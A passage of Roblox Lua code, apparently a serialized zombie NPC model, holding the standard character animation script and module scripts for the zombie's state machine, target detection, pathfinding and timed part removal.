Part138.Material = Enum.Material.WoodPlanks
Part138.TopSurface = Enum.SurfaceType.Smooth
Part138.brickColor = BrickColor.new("Cool yellow")
Part138.FormFactor = Enum.FormFactor.Symmetric
Part138.formFactor = Enum.FormFactor.Symmetric
Decal139.Name = "Face"
Decal139.Parent = Part138
Decal139.Texture = "http://www.roblox.com/asset/?id=7074882"
SpecialMesh140.Parent = Part138
SpecialMesh140.Scale = Vector3.new(1.25, 1.25, 1.25)
Humanoid141.Parent = Model124
Humanoid141.LeftLeg = Part134
Humanoid141.RightLeg = Part135
Humanoid141.Torso = Part125
Humanoid141.WalkSpeed = 10
Script142.Name = "Animate"
Script142.Parent = Model124
table.insert(cors,sandbox(Script142,function()
function waitForChild(parent, childName)
local child = parent:findFirstChild(childName)
if child then return child end
while true do
child = parent.ChildAdded:wait()
if child.Name==childName then return child end
end
end
local Figure = script.Parent
local Torso = waitForChild(Figure, "Torso")
local RightShoulder = waitForChild(Torso, "Right Shoulder")
local LeftShoulder = waitForChild(Torso, "Left Shoulder")
local RightHip = waitForChild(Torso, "Right Hip")
local LeftHip = waitForChild(Torso, "Left Hip")
local Neck = waitForChild(Torso, "Neck")
local Humanoid = waitForChild(Figure, "Humanoid")
local pose = "Standing"
local currentAnim = ""
local currentAnimTrack = nil
local currentAnimKeyframeHandler = nil
local currentAnimSpeed = 1.0
local animTable = {}
local animNames = {
idle = {
{ id = "http://www.roblox.com/asset/?id=125750544", weight = 9 },
{ id = "http://www.roblox.com/asset/?id=125750618", weight = 1 }
},
walk = {
{ id = "http://www.roblox.com/asset/?id=125749145", weight = 10 }
},
run = {
{ id = "run.xml", weight = 10 }
},
jump = {
{ id = "http://www.roblox.com/asset/?id=125750702", weight = 10 }
},
fall = {
{ id = "http://www.roblox.com/asset/?id=125750759", weight = 10 }
},
climb = {
{ id = "http://www.roblox.com/asset/?id=125750800", weight = 10 }
},
toolnone = {
{ id = "http://www.roblox.com/asset/?id=125750867", weight = 10 }
},
toolslash = {
{ id = "http://www.roblox.com/asset/?id=129967390", weight = 10 }
-- { id = "slash.xml", weight = 10 }
},
toollunge = {
{ id = "http://www.roblox.com/asset/?id=129967478", weight = 10 }
},
wave = {
{ id = "http://www.roblox.com/asset/?id=128777973", weight = 10 }
},
point = {
{ id = "http://www.roblox.com/asset/?id=128853357", weight = 10 }
},
dance = {
{ id = "http://www.roblox.com/asset/?id=130018893", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=132546839", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=132546884", weight = 10 }
},
dance2 = {
{ id = "http://www.roblox.com/asset/?id=160934142", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=160934298", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=160934376", weight = 10 }
},
dance3 = {
{ id = "http://www.roblox.com/asset/?id=160934458", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=160934530", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=160934593", weight = 10 }
},
laugh = {
{ id = "http://www.roblox.com/asset/?id=129423131", weight = 10 }
},
cheer = {
{ id = "http://www.roblox.com/asset/?id=129423030", weight = 10 }
},
}
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}
math.randomseed(tick())
function configureAnimationSet(name, fileList)
if (animTable[name] ~= nil) then
for _, connection in pairs(animTable[name].connections) do
connection:disconnect()
end
end
animTable[name] = {}
animTable[name].count = 0
animTable[name].totalWeight = 0
animTable[name].connections = {}
-- check for config values
local config = script:FindFirstChild(name)
if (config ~= nil) then
-- print("Loading anims " .. name)
table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
local idx = 1
for _, childPart in pairs(config:GetChildren()) do
if (childPart:IsA("Animation")) then
table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
animTable[name][idx] = {}
animTable[name][idx].anim = childPart
local weightObject = childPart:FindFirstChild("Weight")
if (weightObject == nil) then
animTable[name][idx].weight = 1
else
animTable[name][idx].weight = weightObject.Value
end
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
-- print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")")
idx = idx + 1
end
end
end
-- fallback to defaults
if (animTable[name].count <= 0) then
for idx, anim in pairs(fileList) do
animTable[name][idx] = {}
animTable[name][idx].anim = Instance.new("Animation")
animTable[name][idx].anim.Name = name
animTable[name][idx].anim.AnimationId = anim.id
animTable[name][idx].weight = anim.weight
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
-- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
end
end
end
-- Setup animation objects
function scriptChildModified(child)
local fileList = animNames[child.Name]
if (fileList ~= nil) then
configureAnimationSet(child.Name, fileList)
end
end
script.ChildAdded:connect(scriptChildModified)
script.ChildRemoved:connect(scriptChildModified)
for name, fileList in pairs(animNames) do
configureAnimationSet(name, fileList)
end
-- ANIMATION
-- declarations
local toolAnim = "None"
local toolAnimTime = 0
local jumpAnimTime = 0
local jumpAnimDuration = 0.3
local toolTransitionTime = 0.1
local fallTransitionTime = 0.3
local jumpMaxLimbVelocity = 0.75
-- functions
function stopAllAnimations()
local oldAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
oldAnim = "idle"
end
currentAnim = ""
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop()
currentAnimTrack:Destroy()
currentAnimTrack = nil
end
return oldAnim
end
function setAnimationSpeed(speed)
if speed ~= currentAnimSpeed then
currentAnimSpeed = speed
currentAnimTrack:AdjustSpeed(currentAnimSpeed)
end
end
function keyFrameReachedFunc(frameName)
if (frameName == "End") then
-- print("Keyframe : ".. frameName)
local repeatAnim = stopAllAnimations()
local animSpeed = currentAnimSpeed
playAnimation(repeatAnim, 0.0, Humanoid)
setAnimationSpeed(animSpeed)
end
end
-- Preload animations
function playAnimation(animName, transitionTime, humanoid)
local idleFromEmote = (animName == "idle" and emoteNames[currentAnim] ~= nil)
if (animName ~= currentAnim and not idleFromEmote) then
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop(transitionTime)
currentAnimTrack:Destroy()
end
currentAnimSpeed = 1.0
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
-- print(animName .. " " .. idx .. " [" .. origRoll .. "]")
local anim = animTable[animName][idx].anim
-- load it to the humanoid; get AnimationTrack
currentAnimTrack = humanoid:LoadAnimation(anim)
-- play the animation
currentAnimTrack:Play(transitionTime)
currentAnim = animName
-- set up keyframe name triggers
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
end
end
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
local toolAnimName = ""
local toolAnimTrack = nil
local currentToolAnimKeyframeHandler = nil
function toolKeyFrameReachedFunc(frameName)
if (frameName == "End") then
-- print("Keyframe : ".. frameName)
local repeatAnim = stopToolAnimations()
playToolAnimation(repeatAnim, 0.0, Humanoid)
end
end
function playToolAnimation(animName, transitionTime, humanoid)
if (animName ~= toolAnimName) then
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
transitionTime = 0
end
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
-- print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
local anim = animTable[animName][idx].anim
-- load it to the humanoid; get AnimationTrack
toolAnimTrack = humanoid:LoadAnimation(anim)
-- play the animation
toolAnimTrack:Play(transitionTime)
toolAnimName = animName
currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
end
end
function stopToolAnimations()
local oldAnim = toolAnimName
if (currentToolAnimKeyframeHandler ~= nil) then
currentToolAnimKeyframeHandler:disconnect()
end
toolAnimName = ""
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
toolAnimTrack = nil
end
return oldAnim
end
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
function onRunning(speed)
if speed>0.01 then
playAnimation("walk", 0.1, Humanoid)
pose = "Running"
else
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing(speed)
playAnimation("climb", 0.1, Humanoid)
setAnimationSpeed(speed / 12.0)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
function onSwimming(speed)
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
function getTool()
for _, kid in ipairs(Figure:GetChildren()) do
if kid.className == "Tool" then return kid end
end
return nil
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
function animateTool()
if (toolAnim == "None") then
playToolAnimation("toolnone", toolTransitionTime, Humanoid)
return
end
if (toolAnim == "Slash") then
playToolAnimation("toolslash", 0, Humanoid)
return
end
if (toolAnim == "Lunge") then
playToolAnimation("toollunge", 0, Humanoid)
return
end
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder:SetDesiredAngle(3.14 /2)
LeftShoulder:SetDesiredAngle(-3.14 /2)
RightHip:SetDesiredAngle(3.14 /2)
LeftHip:SetDesiredAngle(-3.14 /2)
end
local lastTick = 0
function move(time)
local amplitude = 1
local frequency = 1
local deltaTime = time - lastTick
lastTick = time
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
stopAllAnimations()
moveSit()
return
elseif (pose == "Running") then
playAnimation("walk", 0.1, Humanoid)
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
-- print("Wha " .. pose)
amplitude = 0.1
frequency = 1
setAngles = true
end
if (setAngles) then
desiredAngle = amplitude * math.sin(time * frequency)
RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
RightHip:SetDesiredAngle(-desiredAngle)
LeftHip:SetDesiredAngle(-desiredAngle)
end
-- Tool Animation handling
local tool = getTool()
if tool then
animStringValueObject = getToolAnim(tool)
if animStringValueObject then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = time + .3
end
if time > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
stopToolAnimations()
toolAnim = "None"
toolAnimTime = 0
end
end
-- connect events
Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Jumping:connect(onJumping)
Humanoid.Climbing:connect(onClimbing)
Humanoid.GettingUp:connect(onGettingUp)
Humanoid.FreeFalling:connect(onFreeFall)
Humanoid.FallingDown:connect(onFallingDown)
Humanoid.Seated:connect(onSeated)
Humanoid.PlatformStanding:connect(onPlatformStanding)
Humanoid.Swimming:connect(onSwimming)
-- main program
local runService = game:service("RunService");
-- initialize to idle
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
while Figure.Parent~=nil do
local _, time = wait(0.1)
move(time)
end
end))
StringValue143.Name = "climb"
StringValue143.Parent = Script142
Animation144.Name = "ClimbAnim"
Animation144.Parent = StringValue143
Animation144.AnimationId = "http://www.roblox.com/asset/?id=125750800"
StringValue145.Name = "fall"
StringValue145.Parent = Script142
Animation146.Name = "FallAnim"
Animation146.Parent = StringValue145
Animation146.AnimationId = "http://www.roblox.com/asset/?id=125750759"
StringValue147.Name = "idle"
StringValue147.Parent = Script142
Animation148.Name = "Animation1"
Animation148.Parent = StringValue147
Animation148.AnimationId = "http://www.roblox.com/asset/?id=125750544"
NumberValue149.Name = "Weight"
NumberValue149.Parent = Animation148
NumberValue149.Value = 9
Animation150.Name = "Animation2"
Animation150.Parent = StringValue147
Animation150.AnimationId = "http://www.roblox.com/asset/?id=125750618"
NumberValue151.Name = "Weight"
NumberValue151.Parent = Animation150
NumberValue151.Value = 1
StringValue152.Name = "jump"
StringValue152.Parent = Script142
Animation153.Name = "JumpAnim"
Animation153.Parent = StringValue152
Animation153.AnimationId = "http://www.roblox.com/asset/?id=125750702"
StringValue154.Name = "run"
StringValue154.Parent = Script142
Animation155.Name = "RunAnim"
Animation155.Parent = StringValue154
Animation155.AnimationId = "http://www.roblox.com/asset/?id=125749145"
StringValue156.Name = "toolnone"
StringValue156.Parent = Script142
Animation157.Name = "ToolNoneAnim"
Animation157.Parent = StringValue156
Animation157.AnimationId = "http://www.roblox.com/asset/?id=125750867"
StringValue158.Name = "walk"
StringValue158.Parent = Script142
Animation159.Name = "WalkAnim"
Animation159.Parent = StringValue158
Animation159.AnimationId = "http://www.roblox.com/asset/?id=125749145"
Script160.Parent = Model124
table.insert(cors,sandbox(Script160,function()
local zombie = script.Parent
for _, script in pairs(zombie.ModuleScripts:GetChildren()) do
if not game.ServerStorage:FindFirstChild(script.Name) then
script:Clone().Parent = game.ServerStorage
end
end
local AI = require(game.ServerStorage.ROBLOX_ZombieAI).new(zombie)
local DestroyService = require(game.ServerStorage.ROBLOX_DestroyService)
local function clearParts(parent)
for _, part in pairs(parent:GetChildren()) do
clearParts(part)
end
local delay
if parent:IsA("Part") then
delay = math.random(5,10)
else
delay = 11
end
DestroyService:AddItem(parent, delay)
end
zombie.Humanoid.Died:connect(function()
AI.Stop()
math.randomseed(tick())
clearParts(zombie)
script.Disabled = true
end)
local lastMoan = os.time()
math.randomseed(os.time())
while true do
local animationTrack = zombie.Humanoid:LoadAnimation(zombie.Animations.Arms)
animationTrack:Play()
-- local now = os.time()
-- if now - lastMoan > 5 then
-- if math.random() > .3 then
-- zombie.Moan:Play()
---- print("playing moan")
-- lastMoan = now
-- end
-- end
wait(2)
end
end))
BillboardGui161.Parent = Model124
BillboardGui161.Size = UDim2.new(0, 100, 0, 30)
BillboardGui161.StudsOffset = Vector3.new(0, 5, 0)
TextLabel162.Parent = BillboardGui161
TextLabel162.Visible = false
TextLabel162.Size = UDim2.new(1, 0, 1, 0)
TextLabel162.BackgroundColor = BrickColor.new("Institutional white")
TextLabel162.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel162.Font = Enum.Font.SourceSansBold
TextLabel162.FontSize = Enum.FontSize.Size24
TextLabel162.Text = "Idle"
TextLabel162.TextSize = 24
Configuration163.Name = "ModuleScripts"
Configuration163.Parent = Model124
ModuleScript164.Name = "ROBLOX_AIUtilities"
ModuleScript164.Parent = Configuration163
table.insert(cors,sandbox(ModuleScript164,function()
local utility = {}
function utility:WideRayCast(start, target, offset, ignoreList)
local parts = {}
local ray = Ray.new(start, target - start)
local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList)
if part then table.insert(parts, part) end
local offsetVector = offset * (target - start):Cross(Vector3.FromNormalId(Enum.NormalId.Top)).unit
local ray = Ray.new(start + offsetVector, target - start + offsetVector)
local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList)
if part then table.insert(parts, part) end
local ray = Ray.new(start - offsetVector, target - start - offsetVector)
local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList)
if part then table.insert(parts, part) end
return parts
end
function utility:FindNearestPathPoint(path, point, start, target, ignoreList)
local occludePoint = path:CheckOcclusionAsync(point)
if occludePoint > 0 then
utility:WideRayCast(start)
end
end
local maxForce = 15
function utility:GetRepulsionVector(unitPosition, otherUnitsPositions)
local repulsionVector = Vector3.new(0,0,0)
local count = 0
for _, other in pairs(otherUnitsPositions) do
local fromOther = unitPosition - other
--fromOther = fromOther.unit * ((-maxForce / 5) * math.pow(fromOther.magnitude,2) + maxForce)
fromOther = fromOther.unit * 1000 / math.pow((fromOther.magnitude + 1), 2)
repulsionVector = repulsionVector + fromOther
end
return repulsionVector * maxForce
end
function utility:GetIdleState(StateMachine)
local IdleState = StateMachine.NewState()
IdleState.Name = "Idle"
IdleState.Action = function() end
IdleState.Init = function() end
return IdleState
end
function utility:GetClosestVisibleTarget(npcModel, characters, ignoreList, fieldOfView)
local closestTarget = nil
local closestDistance = math.huge
for _, character in pairs(characters) do
local toTarget = character.HumanoidRootPart.Position - npcModel.HumanoidRootPart.Position
local toTargetWedge = toTarget * Vector3.new(1,0,1)
local angle = math.acos(toTargetWedge:Dot(npcModel.HumanoidRootPart.CFrame.lookVector)/toTargetWedge.magnitude)
if math.deg(angle) < fieldOfView then
local targetRay = Ray.new(npcModel.HumanoidRootPart.Position, toTarget)
local part, position = game.Workspace:FindPartOnRayWithIgnoreList(targetRay, ignoreList)
if part and part.Parent == character then
if toTarget.magnitude < closestDistance then
closestTarget = character
closestDistance = toTarget.magnitude
end
end
end
end
return closestTarget
end
local function isSpaceEmpty(position)
local region = Region3.new(position - Vector3.new(2,2,2), position + Vector3.new(2,2,2))
return game.Workspace:IsRegion3Empty(region)
end
function utility:FindCloseEmptySpace(model)
local targetPos = Vector3.new(0,0,0)
local count = 0
math.randomseed(os.time())
repeat
local xoff = math.random(5,10)
if math.random() > .5 then
xoff = xoff * -1
end
local zoff = math.random(5, 10)
if math.random() > .5 then
zoff = zoff * -1
end
targetPos = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff)
if isSpaceEmpty(targetPos) then
return targetPos
else
targetPos = targetPos + Vector3.new(0,4,0)
end
if isSpaceEmpty(targetPos) then
return targetPos
end
count = count + 1
until count > 10
return nil
end
return utility
end))
ModuleScript165.Name = "ROBLOX_DestroyService"
ModuleScript165.Parent = Configuration163
table.insert(cors,sandbox(ModuleScript165,function()
local destroyService = {}
local destroyQueue = {}
function destroyService:AddItem(theobject, delay)
local now = os.time()
local destroyObject = {object = theobject, destroyTime = delay + now}
for i, storedObject in pairs(destroyQueue) do
if destroyQueue[i].destroyTime > destroyObject.destroyTime then
table.insert(destroyQueue, i, destroyObject)
return true
end
end
table.insert(destroyQueue, destroyObject)
return true
end
local updateThread = coroutine.create(function()
while true do
local now = os.time()
for _, storedObject in pairs(destroyQueue) do
if now >= storedObject.destroyTime then
table.remove(destroyQueue, 1)
if storedObject.object then
storedObject.object:Destroy()
end
elseif now >= storedObject.destroyTime - 1 then
if storedObject.object and storedObject.object:IsA("Part") then
local trans = storedObject.object.Transparency + 1/30
storedObject.object.Transparency = trans
end
else
break
end
end
wait()
end
end)
coroutine.resume(updateThread)
return destroyService
end))
ModuleScript166.Name = "ROBLOX_HumanoidList"
ModuleScript166.Parent = Configuration163
table.insert(cors,sandbox(ModuleScript166,function()
local humanoidList = {}
local storage = {}
function humanoidList:GetCurrent()
return storage
end
local function findHumanoids(object, list)
if object then
if object:IsA("Humanoid") then
table.insert(list, object)
end
for _, child in pairs(object:GetChildren()) do
local childList = findHumanoids(child, list)
end
end
end
local updateThread = coroutine.create(function()
while true do
storage = {}
findHumanoids(game.Workspace, storage)
wait(3)
end
end)
coroutine.resume(updateThread)
return humanoidList
end))
ModuleScript167.Name = "ROBLOX_StateMachine"
ModuleScript167.Parent = Configuration163
table.insert(cors,sandbox(ModuleScript167,function()
local machine = {}
machine.new = function()
local StateMachine = {}
StateMachine.WaitTime = .2
StateMachine.CurrentState = nil
StateMachine.SwitchState = function(newState)
if StateMachine.CurrentState then
StateMachine.CurrentState.Stop()
end
StateMachine.CurrentState = newState
if newState then
newState.Start()
end
end
StateMachine.NewState = function()
local state = {}
state.Name = ""
state.Conditions = {}
state.isRunning = false
state.Action = function() end
state.Run = function()
state.isRunning = true
while state.isRunning do
--check conditions
--print("checking conditions")
for _, condition in pairs(state.Conditions) do
--print("Checking " .. condition.Name)
if condition.Evaluate() then
--print(condition.Name .. " is true. Switching states")
StateMachine.SwitchState(condition.TransitionState)
return
end
end
--if no conditions satisfied, perform action
state.Action()
wait(StateMachine.WaitTime)
end
end
state.Init = function()
end
state.Start = function()
--print("Starting " .. state.Name)
state.Init()
local thread = coroutine.create(state.Run)
coroutine.resume(thread)
end
state.Stop = function()
--print("Stopping " .. state.Name)
state.isRunning = false
end
return state
end
StateMachine.NewCondition = function()
local condition = {}
condition.Name = ""
condition.Evaluate = function() print("replace me") return false end
condition.TransitionState = {}
return condition
end
return StateMachine
end
return machine
end))
ModuleScript168.Name = "ROBLOX_ZombieAI"
ModuleScript168.Parent = Configuration163
table.insert(cors,sandbox(ModuleScript168,function()
--local PathLib = require(game.ServerStorage.PathfindingLibrary).new()
local HumanoidList = require(game.ServerStorage.ROBLOX_HumanoidList)
local AIUtilities = require(game.ServerStorage.ROBLOX_AIUtilities)
local ZombieAI = {}
function updateDisplay(display, state)
local thread = coroutine.create(function()
while true do
wait()
if state then
display.Text = state.Name
end
end
end)
coroutine.resume(thread)
end
ZombieAI.new = function(model)
local zombie = {}
-- CONFIGURATION VARIABLES
-- local AttackRange, FieldOfView, AggroRange, ChanceOfBoredom, BoredomDuration,
-- Damage, DamageCooldown
local configTable = model.Configurations
local configs = {}
local function loadConfig(configName, defaultValue)
if configTable:FindFirstChild(configName) then
configs[configName] = configTable:FindFirstChild(configName).Value
else
configs[configName] = defaultValue
end
end
loadConfig("AttackRange", 3)
loadConfig("FieldOfView", 180)
loadConfig("AggroRange", 200)
loadConfig("ChanceOfBoredom", .5)
loadConfig("BoredomDuration", 10)
loadConfig("Damage", 10)
loadConfig("DamageCooldown", 1)
local StateMachine = require(game.ServerStorage.ROBLOX_StateMachine).new()
local PathLib = require(game.ServerStorage.ROBLOX_PathfindingLibrary).new()
local ZombieTarget = nil
local ZombieTargetLastLocation = nil
local lastBored = os.time()
-- STATE DEFINITIONS
-- IdleState: NPC stays still. Refreshes bored timer when started to
-- allow for random state change
local IdleState = StateMachine.NewState()
IdleState.Name = "Idle"
IdleState.Action = function()
end
IdleState.Init = function()
lastBored = os.time()
end
-- SearchState: NPC wanders randomly increasing chance of spotting
-- enemy. Refreshed bored timer when started to allow for random state
-- change
local SearchState = StateMachine.NewState()
SearchState.Name = "Search"
local lastmoved = os.time()
local searchTarget = nil
SearchState.Action = function()
-- move to random spot nearby
if model then
local now = os.time()
if now - lastmoved > 2 then
lastmoved = now
local xoff = math.random(5, 10)
if math.random() > .5 then
xoff = xoff * -1
end
local zoff = math.random(5, 10)
if math.random() > .5 then
zoff = zoff * -1
end
local testtarg = AIUtilities:FindCloseEmptySpace(model)
--if testtarg then print(testtarg) else print("could not find") end
searchTarget = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff)
--local target = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff)
--model.Humanoid:MoveTo(target)
searchTarget = testtarg
end
if searchTarget then
PathLib:MoveToTarget(model, searchTarget)
end
end
end
SearchState.Init = function()
lastBored = os.time()
end
-- PursueState: Enemy has been spotted, need to give chase.
local PursueState = StateMachine.NewState()
PursueState.Name = "Pursue"
PursueState.Action = function()
-- Double check we still have target
if ZombieTarget then
-- Get distance to target
local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude
-- If we're far from target use pathfinding to move. Otherwise just MoveTo
if distance > configs["AttackRange"] + 5 then
PathLib:MoveToTarget(model, ZombieTarget.HumanoidRootPart.Position)
else
model.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position)
-- if ZombieTarget.HumanoidRootPart.Position.Y > model.HumanoidRootPart.Position.Y + 2 then
-- model.Humanoid.Jump = true
-- end
end
end
end
PursueState.Init = function()
end
-- AttackState: Keep moving towards target and play attack animation.
local AttackState = StateMachine.NewState()
AttackState.Name = "Attack"
local lastAttack = os.time()
local attackTrack = model.Humanoid:LoadAnimation(model.Animations.Attack)
AttackState.Action = function()
model.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position)
local now = os.time()
if now - lastAttack > 3 then
lastAttack = now
attackTrack:Play()
end
end
-- HuntState: Can't see target but NPC will move to target's last known location.
-- Will eventually get bored and switch state.
local HuntState = StateMachine.NewState()
HuntState.Name = "Hunt"
HuntState.Action = function()
if ZombieTargetLastLocation then
PathLib:MoveToTarget(model, ZombieTargetLastLocation)
end
end
HuntState.Init = function()
lastBored = os.time() + configs["BoredomDuration"] / 2
end
-- CONDITION DEFINITIONS
-- CanSeeTarget: Determines if a target is visible. Returns true if target is visible and
-- sets current target. A target is valid if it is nearby, visible, has a Torso and WalkSpeed
-- greater than 0 (this is to ignore inanimate objects that happen to use humanoids)
local CanSeeTarget = StateMachine.NewCondition()
CanSeeTarget.Name = "CanSeeTarget"
CanSeeTarget.Evaluate = function()
if model then
-- Get list of all nearby Zombies and non-Zombie humanoids
-- Zombie list is used to ignore zombies during later raycast
local humanoids = HumanoidList:GetCurrent()
local zombies = {}
local characters = {}
for _, object in pairs(humanoids) do
if object and object.Parent and object.Parent:FindFirstChild("HumanoidRootPart") and object.Health > 0 and object.WalkSpeed > 0 then
local torso = object.Parent:FindFirstChild("HumanoidRootPart")
if torso then
local distance = (model.HumanoidRootPart.Position - torso.Position).magnitude
if distance <= configs["AggroRange"] then
if object.Parent.Name == "Drooling Zombie" then
table.insert(zombies, object.Parent)
else
table.insert(characters, object.Parent)
end
end
end
end
end
local target = AIUtilities:GetClosestVisibleTarget(model, characters, zombies, configs["FieldOfView"])
if target then
ZombieTarget = target
return true
end
-- -- Go through each valid target to see if within field of view and if there is
-- -- clear line of sight. Field of view treated as wedge in front of character.
-- for _, character in pairs(characters) do
-- local toTarget = (character.HumanoidRootPart.Position - model.HumanoidRootPart.Position)
-- toTarget = Vector3.new(toTarget.X, 0, toTarget.Z)
-- local angle = math.acos(toTarget:Dot(model.HumanoidRootPart.CFrame.lookVector)/toTarget.magnitude)
-- if math.deg(angle) < configs["FieldOfView"]/2 then
-- ZombieTarget = character
-- -- raycast to see if target is actually visible
-- local toTarget = Ray.new(model.HumanoidRootPart.Position, (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position))
-- local part, position = game.Workspace:FindPartOnRayWithIgnoreList(toTarget, zombies)
-- if part and part.Parent == ZombieTarget then
-- return true
-- end
-- ZombieTarget = nil
-- end
-- end
end
return false
end
CanSeeTarget.TransitionState = PursueState
-- TargetDead: Check if target is dead.
local TargetDead = StateMachine.NewCondition()
TargetDead.Name = "TargetDead"
TargetDead.Evaluate = function()
if ZombieTarget and ZombieTarget.Humanoid then
return ZombieTarget.Humanoid.Health <= 0
end
return true
end
TargetDead.TransitionState = IdleState
-- GotDamaged: Check if NPC has taken damage
local lastHealth = model.Humanoid.Health
local GotDamaged = StateMachine.NewCondition()
GotDamaged.Name = "GotDamaged"
GotDamaged.Evaluate = function()
if model then
if lastHealth > model.Humanoid.Health then
return true
end
end
return false
end
GotDamaged.TransitionState = SearchState
-- GotBored: Used to provide random state change.
local GotBored = StateMachine.NewCondition()
GotBored.Name = "GotBored"
GotBored.Evaluate = function()
local now = os.time()
if now - lastBored > configs["BoredomDuration"] then
local roll = math.random()
if roll < configs["ChanceOfBoredom"] then
lastBored = now
if GotBored.TransitionState == SearchState then
GotBored.TransitionState = IdleState
else
GotBored.TransitionState = SearchState
end
return true
end
end
return false
end
GotBored.TransitionState = IdleState
-- LostTarget: Checks clear line of sight
local LostTarget = StateMachine.NewCondition()
LostTarget.Name = "LostTarget"
LostTarget.Evaluate = function()
if true then return false end
if ZombieTarget then
if (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position).magnitude > 10 then
local toTarget = Ray.new(model.HumanoidRootPart.Position, (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position))
local part, position = game.Workspace:FindPartOnRay(toTarget, model)
if not part or part.Parent ~= ZombieTarget then
--print("Lost target!")
ZombieTargetLastLocation = ZombieTarget.HumanoidRootPart.Position
ZombieTarget = nil
return true
end
end
end
return false
end
LostTarget.TransitionState = HuntState
local WithinRange = StateMachine.NewCondition()
WithinRange.Name = "WithinRange"
WithinRange.Evaluate = function()
if ZombieTarget then
local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude
if distance < configs["AttackRange"] then
--print("Within attack range!")
return true
end
end
return false
end
WithinRange.TransitionState = AttackState
local OutsideRange = StateMachine.NewCondition()
OutsideRange.Name = "OutsideRange"
OutsideRange.Evaluate = function()
if ZombieTarget then
local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude
if distance > configs["AttackRange"] then
--print("Outside attack range!")
return true
end
end
return false
end
